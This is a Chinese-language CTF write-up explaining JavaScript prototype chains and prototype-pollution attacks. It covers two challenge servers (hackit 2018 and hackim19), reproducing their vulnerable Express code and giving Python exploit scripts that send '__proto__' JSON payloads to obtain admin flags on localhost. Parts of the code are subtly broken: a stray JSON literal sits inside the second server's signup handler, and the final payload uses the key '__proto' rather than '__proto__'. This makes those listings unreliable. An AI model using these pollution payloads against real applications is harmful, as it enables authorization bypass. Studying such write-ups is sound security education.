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一、简单介绍一下原型链
JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象，对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型，并从中继承方法和属性，一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。
二、举个例子
描述一下:
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)Son类继承了Father类的last_name属性，最后输出的是Name: Melania Trump。
总结一下，对于对象son，在调用son.last_name的时候，实际上JavaScript引擎会进行如下操作：
在对象son中寻找last_name
如果找不到，则在
son.__proto__中寻找last_name如果仍然找不到，则继续在
son.__proto__.__proto__中寻找last_name依次寻找，直到找到
null结束。比如，Object.prototype的__proto__就是null
三、那原型链污染是什么呢
foo.__proto__指向的是Foo类的prototype。那么，如果我们修改了foo.__proto__中的值，是不是就可以修改Foo类呢？
我们做一个简单的实验
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型（即Object）
foo.__proto__.bar = 2
// 由于查找顺序的原因，foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)结果:
原因也显而易见：因为前面我们修改了foo的原型foo.__proto__.bar = 2，而foo是一个Object类的实例，所以实际上是修改了Object这个类，给这个类增加了一个属性bar，值为2。
后来，我们又用Object类创建了一个zoo对象let zoo = {}，zoo对象自然也有一个bar属性了。
那么，在一个应用中，如果攻击者控制并修改了一个对象的原型，那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
四、我们来看一道题-hackit 2018
4.1 环境
我们将代码复制到js文件中，随便写个js，之后在官网下载node.js
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})写一个相应的js拉取包，如下package.json
{
"name": "my-node-app",
"version": "1.0.0",
"description": "A simple Node.js app for tic-tac-toe game with express, hbs, and md5.",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"body-parser": "^1.20.2",
"express": "^4.18.2",
"hbs": "^4.2.0",
"md5": "^2.3.0",
"morgan-body": "^2.6.9"
},
"author": "",
"license": "ISC"
}之后换源为淘宝源后拉取相应的npm包
之后启动它就会自己监听到3000端口了
4.2开始解题
它定义了一个空数组然后给了三个null
继续分析，获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等，且二者都要存在 ，三个条件不符合的情况下就会给你返回一个Forbidden
解决方法：如果还有一个数组可以在admintoken值之前修改它祖先的值，而这个user没有值，但是它可以往上找，使得admintoken有值，自然就造成了原型链污染
那我们就需要去找用户可控的点，那找到了body，row，col，如何利用?
使用方法就是data得有值，而我们通过定位metrix发现它也是一个数组，user也是一个数组，那很明显在metrix上定义的原型链，user肯定可以找到，那现在如何在原型链定义
下面我们先本地测试一下:很明显我们将第一个属性放到row=__proto__，第二个属性col=admintoken，约等于我们没用点去取，而是用了数组
4.3 解答：
import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=a3c23537bfc1e2da4a511661547d65fb"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"sunsec"}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print(res2.text)
五、我们来看第二道题
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body)); {"__proto__": {"admin":1}}
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);看到这两个函数，原型链污染很容易出现的两个函数merge和clone，而这段代码的意思大致是，如果前后a,b出现相同的字段，那么后者会将前者去进行一个覆盖
merge 函数作用是进行对象的合并，其中涉及到了对象的赋值，且键值可控，这样就可以触发原形链污染了
我们看一个例子
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({},a);
}
var test1 = { "name": "heike", "__proto__": { "admin": 1 } }
clone(test1)
var test2 = {}
console.log(test2.admin)
</script>
</body>
</html>我们会发现运行后直接undefined，根本没成功，我们可以下断点调试看看
单步进来name=“heike”
经过循环之后走到了这里
接下来a变成heike，b也变成heike，但是test又变成admin，那自然我们污染不了，那自然是undefined
原来我们在创建字典的时候，__proto__,不是作为一个键名，而是已经作为__proto__给其父类进行赋值了，所以在test.__proto__中才有admin属性，但是我们是想让__proto__作为一个键名的.
那应该怎么办呢？可以使用 JSON.parse
5.1补充知识点JSON.parse
在实际应用中，哪些情况下可能存在原型链能被攻击者修改的情况呢？
我们思考一下，哪些情况下我们可以设置__proto__的值呢？其实找找能够控制数组（对象）的“键名”的操作即可：
对象merge
对象clone（其实内核就是将待操作的对象merge到一个空对象中）
以对象merge为例，我们想象一个简单的merge函数：
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
在合并的过程中，存在赋值的操作target[key] = source[key]，那么，这个key如果是__proto__，是不是就可以原型链污染呢？
我们用如下代码实验一下：
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
结果是，合并虽然成功了，但原型链没有被污染：
这是因为，我们用JavaScript创建o2的过程（let o2 = {a: 1, "__proto__": {b: 2}}）中，__proto__已经代表o2的原型了，此时遍历o2的所有键名，你拿到的是[a, b]，__proto__并不是一个key，自然也不会修改Object的原型。
那么，如何让__proto__被认为是一个键名呢？
我们将代码改成如下：
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
可见，新建的o3对象，也存在b属性，说明Object已经被污染：
这是因为，JSON解析的情况下，__proto__会被认为是一个真正的“键名”，而不代表“原型”，所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作，也最能被原型链攻击，很多常见的库都存在这个问题。
5.2继续解题
启动环境，访问
给出payload
import requests
import json
url1 = "http://127.0.0.1:8080/signup"
url2 = "http://127.0.0.1:8080/getFlag"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"__proto": {"admin": 1}}
s.post(url1, headers=headers, json=data1)
res = s.get(url2)
print(res.text)最终得到答案
